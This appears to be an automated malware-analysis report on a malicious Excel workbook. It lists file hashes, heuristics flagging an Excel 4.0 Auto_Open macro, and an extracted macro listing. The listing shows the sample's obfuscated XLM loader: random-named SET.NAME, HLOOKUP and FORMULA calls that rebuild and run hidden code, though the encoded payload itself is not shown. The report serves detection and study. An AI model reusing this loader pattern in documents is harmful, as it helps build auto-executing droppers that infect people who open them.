Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c916b704357fb95f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:33:49 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 3f8f9954ea3c14fedcd7fe7434b0fed6 SHA-1: 5bcd332e85aef7b147118a0b6b7dbff522d936ce SHA-256: c916b704357fb95fb6137da5d68b23c526a4a0dc3967fca1a552cbb993448e19
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6489 bytes
SHA-256: 2b4fdd93707c7bcefb585d51fbb52f78eb31f8ec74344086336a4b4d368833a9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Gbf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G146 
' 0018     26 LABEL : Cell Value, String Constant - BgzmNbDloxh len=0 
' 0018     22 LABEL : Cell Value, String Constant - dveGngP len=0 
' 0018     26 LABEL : Cell Value, String Constant - fADhbJhDBss len=0 
' 0018     24 LABEL : Cell Value, String Constant - FCcHrowvo len=0 
' 0018     26 LABEL : Cell Value, String Constant - fLZOYaouQVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - hCRMpN len=0 
' 0018     26 LABEL : Cell Value, String Constant - hPLtpghRUtd len=0 
' 0018     22 LABEL : Cell Value, String Constant - IWFdRFw len=0 
' 0018     26 LABEL : Cell Value, String Constant - kkqGoGaayvj len=0 
' 0018     26 LABEL : Cell Value, String Constant - lKAThYSnykL len=0 
' 0018     21 LABEL : Cell Value, String Constant - OCOYQC len=0 
' 0018     20 LABEL : Cell Value, String Constant - pPcNG len=0 
' 0018     22 LABEL : Cell Value, String Constant - qyBVdmd len=0 
' 0018     26 LABEL : Cell Value, String Constant - qycIWPrnRYd len=0 
' 0018     22 LABEL : Cell Value, String Constant - TUyXYSz len=0 
' 0018     25 LABEL : Cell Value, String Constant - uLzRUsiZSP len=0 
' 0018     24 LABEL : Cell Value, String Constant - wMTNLPhWI len=0 
' 0018     26 LABEL : Cell Value, String Constant - wYtEkxsjIJU len=0 
' 0018     22 LABEL : Cell Value, String Constant - xekcpjq len=0 
' 0018     22 LABEL : Cell Value, String Constant - YJCNtwI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Gbf,G52,"SET.NAME("YJCNtwI",VALUE("0"))",""
'  Gbf,G57,"SET.NAME("OCOYQC",YJCNtwI)",""
'  Gbf,G62,"SET.NAME("kkqGoGaayvj",YJCNtwI)",""
'  Gbf,G65,"SET.NAME("dveGngP",COUNTA(fLZOYaouQVt))",""
'  Gbf,G69,"SET.NAME("IWFdRFw",COUNTA(TUyXYSz))",""
'  Gbf,G74,[],""
'  Gbf,G76,"SET.NAME("pPcNG","")",""
'  Gbf,G79,"OCOYQC",""
'  Gbf,G84,"SET.NAME("FCcHrowvo",HLOOKUP("*",fLZOYaouQVt,OCOYQC,FALSE))",""
'  Gbf,G87,"wMTNLPhWI",""
'  Gbf,G90,"SET.NAME("qycIWPrnRYd",YJCNtwI)",""
'  Gbf,G93,[],""
'  Gbf,G97,"qycIWPrnRYd",""
'  Gbf,G100,"BgzmNbDloxh",""
'  Gbf,G103,"xekcpjq",""
'  Gbf,G108,"uLzRUsiZSP",""
'  Gbf,G113,"SET.NAME("fADhbJhDBss",VALUE(HLOOKUP("*",TUyXYSz,uLzRUsiZSP,FALSE)))",""
'  Gbf,G116,"qyBVdmd",""
'  Gbf,G121,"pPcNG",""
'  Gbf,G125,"kkqGoGaayvj",""
'  Gbf,G129,NEXT(),""
'  Gbf,G131,"hPLtpghRUtd",""
'  Gbf,G134,"SET.NAME("f",INT(T(FORMULA(T(pPcNG)&"",""&T(hPLtpghRUtd)))))",""
'  Gbf,G136,"lKAThYSnykL",""
'  Gbf,G141,NEXT(),""
'  Gbf,G143,RETURN(),""
'  Gbf,G169,"SET.NAME("hCRMpN",G52)",""
'  Gbf,G171,"fLZOYaouQVt",""
'  Gbf,G175,"SET.NAME("TUyXYSz",R79C13)",""
'  Gbf,G178,"SET.NAME("lKAThYSnykL",189)",""
'  Gbf,G183,"SET.NAME("wYtEkxsjIJU",7)",""
'  Gbf,G188,hCRMpN(),""
'  Gbf,G189,HALT(),""